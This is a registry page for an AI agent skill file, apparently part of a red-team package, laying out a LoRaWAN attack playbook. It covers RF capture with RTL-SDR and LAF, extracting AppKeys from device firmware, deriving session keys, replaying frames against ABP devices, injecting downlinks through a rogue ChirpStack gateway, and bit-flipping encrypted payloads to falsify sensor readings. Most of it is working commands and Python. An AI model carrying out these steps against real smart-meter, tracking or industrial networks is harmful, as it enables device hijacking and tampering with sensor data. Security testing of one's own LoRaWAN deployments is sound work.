LoRaWAN OTAA join-procedure analysis (DevEUI/AppEUI/AppKey extraction), frame-counter replay on ABP devices, downlink injection via rogue gateway, bit-flipping on unprotected FRMPayload, and network enumeration with ChirpStack and the LoRaWAN Auditing Framework.
77%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.mdLoRaWAN is deployed globally for smart meters, asset tracking, agriculture, and industrial sensors. OTAA (Over-The-Air Activation) derives session keys per join; ABP (Activation By Personalization) hardcodes them. Both have documented attack surface: OTAA AppKeys are often extracted from the device firmware or exposed via insecure provisioning, and ABP devices commonly disable the frame-counter check, enabling full replay.
lorawansniffer / gr-lora,
LoRaWAN Auditing Framework (LAF), Scapy-LoRa, lorawan-parser.# Install LoRaWAN Auditing Framework:
git clone https://github.com/IOActive/laf
cd laf && pip install -r requirements.txt
# Install gr-lora (GNU Radio LoRa decoder):
git clone https://github.com/rpp0/gr-lora
cd gr-lora && mkdir build && cd build && cmake .. && make && sudo make install
# lorawan-parser for offline frame analysis:
pip install lorawan-parser| Region | Uplink (MHz) | Downlink (MHz) | Spreading Factors |
|---|---|---|---|
| EU868 | 868.1, 868.3, 868.5 | 869.525 | SF7–SF12 |
| US915 | 902.3–914.9 (8 ch) | 923.3–927.5 | SF7–SF10 |
| AU915 | 915.2–927.8 | 923.3–927.5 | SF7–SF12 |
| AS923 | 923.2, 923.4 | 923.2, 923.4 | SF7–SF12 |
# RTL-SDR capture on EU868 primary channel, SF7 (fastest, most common):
rtl_sdr -f 868100000 -s 1000000 -g 40 /tmp/lora_raw.iq
# Decode with gr-lora offline:
python3 gr-lora/apps/rx_file.py --freq 868.1e6 --sf 7 --bw 125000 \
--input /tmp/lora_raw.iq --output /tmp/lora_frames.txt
# Online decode with TTGO T-Beam running LoRa sniffer firmware:
# Flash: https://github.com/claudiodangelis/lora-sniffer
# Serial output at 115200:
screen /dev/ttyUSB0 115200LAF spectrum scan (scans all EU868 channels across SF7-SF12):
python3 laf/laf.py scan --freq 868.1,868.3,868.5 --sf all --bw 125 \
--device /dev/ttyACM0 | tee /tmp/laf_scan.txtOTAA JoinRequest contains DevEUI (8 bytes), AppEUI/JoinEUI (8 bytes), and DevNonce (2 bytes), all in plaintext. Only the MIC is keyed with AppKey.
# Parse a captured JoinRequest frame:
python3 - <<'EOF'
from lorawan import LoRaWANMessage
# hex of a raw captured PHY payload:
payload_hex = "00AABBCCDDEEFF001122334455667701234501"
msg = LoRaWANMessage.from_hex(payload_hex)
print(f"MType: {msg.mhdr.mtype}")
print(f"AppEUI: {msg.join_request.app_eui.hex()}")
print(f"DevEUI: {msg.join_request.dev_eui.hex()}")
print(f"DevNonce: {msg.join_request.dev_nonce.hex()}")
EOFAppKey extraction from firmware (if binary is available):
# binwalk extracts the firmware; AppKey is a 16-byte value near DevEUI in flash.
binwalk -eM firmware.bin
# Search for DevEUI (known from OTA capture) ± 32 bytes:
python3 - <<'EOF'
import re, sys
dev_eui = bytes.fromhex("AABBCCDDEEFF0011") # from captured JoinRequest
fw = open("_firmware.bin.extracted/0.bin", "rb").read()
offset = fw.find(dev_eui)
if offset >= 0:
print(f"DevEUI at 0x{offset:08x}")
print(f"Surrounding 48 bytes: {fw[offset-16:offset+32].hex()}")
# AppKey is likely 16 bytes before or after DevEUI in the provisioning struct.
EOFWith a known AppKey, verify and derive session keys:
import hmac, hashlib
from Crypto.Cipher import AES
APP_KEY = bytes.fromhex("2B7E151628AED2A6ABF7158809CF4F3C") # known/extracted key
def verify_join_request_mic(phypayload: bytes, app_key: bytes) -> bool:
"""Verify MIC of LoRaWAN JoinRequest. MIC = CMAC(AppKey, MHDR||AppEUI||DevEUI||DevNonce)[0:4]"""
from Crypto.Hash import CMAC
msg = phypayload[:-4] # strip 4-byte MIC
claimed_mic = phypayload[-4:]
cobj = CMAC.new(app_key, ciphermod=AES)
cobj.update(msg)
return cobj.digest()[:4] == claimed_mic
def derive_session_keys(app_key: bytes, app_nonce: bytes, net_id: bytes, dev_nonce: bytes):
"""Derive NwkSKey and AppSKey from OTAA join-accept parameters."""
def aes_ecb(key, data):
return AES.new(key, AES.MODE_ECB).encrypt(data)
nwk_s_key = aes_ecb(app_key, b'\x01' + app_nonce + net_id + dev_nonce + b'\x00'*7)
app_s_key = aes_ecb(app_key, b'\x02' + app_nonce + net_id + dev_nonce + b'\x00'*7)
return nwk_s_key, app_s_keyABP devices that disable frame-counter replay protection (FCnt check = off)
will process any replayed uplink frame:
# LAF replay module — replay a captured uplink to the same gateway:
python3 laf/laf.py replay \
--payload <captured_phypayload_hex> \
--freq 868.1 --sf 7 --bw 125 \
--device /dev/ttyACM0 \
--count 5 # send 5 times to ensure reception
# The NS will process duplicate frames with identical FCnt if check is disabled.Detect FCnt check status:
Set up a ChirpStack rogue gateway to inject downlinks to a device whose AppSKey is known (from extracted firmware or OTAA with known AppKey):
# 1. Stand up ChirpStack Network Server (docker-compose):
git clone https://github.com/brocaar/chirpstack-docker
cd chirpstack-docker && docker-compose up -d
# 2. Register a gateway pointing to your TTGO/RAK concentrator.
# 3. Register the target device (DevEUI, AppKey from extraction).
# 4. Use ChirpStack API to enqueue a downlink:
curl -s -X POST "http://localhost:8080/api/devices/${DEV_EUI}/queue" \
-H "Grpc-Metadata-Authorization: Bearer ${JWT_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"deviceQueueItem": {"confirmed": false, "fPort": 1, "data": "AQIDBA=="}}'Craft raw downlink with known AppSKey (ABP or derived from OTAA):
from Crypto.Cipher import AES
def encrypt_frmpayload(app_s_key: bytes, dev_addr: bytes, fcnt: int,
direction: int, plaintext: bytes) -> bytes:
"""LoRaWAN AES-128-CTR FRMPayload encryption."""
k = len(plaintext)
blocks = (k + 15) // 16
s = b""
for i in range(1, blocks + 1):
ai = (b'\x01' + b'\x00'*4 + bytes([direction]) +
dev_addr[::-1] + # little-endian
fcnt.to_bytes(4, 'little') +
b'\x00' + bytes([i]))
s += AES.new(app_s_key, AES.MODE_ECB).encrypt(ai)
return bytes(a ^ b for a, b in zip(plaintext, s[:k]))When ABP NwkSKey is known, craft MIC for a bit-flipped FRMPayload to alter plaintext content (e.g., sensor reading reported to cloud):
# Flip a specific bit in the ciphertext → predictable plaintext change.
# Only viable if the application layer does not validate message integrity
# beyond LoRaWAN MIC (which the attacker can recalculate with NwkSKey).
# This is documented in Toothpick / LoRaWAN security analysis papers.
ciphertext = bytearray(encrypted_payload)
ciphertext[TARGET_BYTE] ^= FLIP_MASK
# Recalculate MIC with NwkSKey and submit via rogue gateway.EVIDENCE="/workspace/evidence/lorawan-otaa/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/lora_frames.txt "$EVIDENCE/"
cp /tmp/laf_scan.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"kg_add_node(
kind="finding",
label=f"LoRaWAN AppKey extracted for DevEUI={dev_eui_hex}",
props={
"key": f"lorawan-otaa::{dev_eui_hex}",
"dev_eui": dev_eui_hex,
"app_eui": app_eui_hex,
"app_key": app_key_hex,
"abp_fcnt_disabled": abp_fcnt_disabled,
"source": "firmware-extraction+laf",
},
)PurpleAILAB/Decepticon
49888ee
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.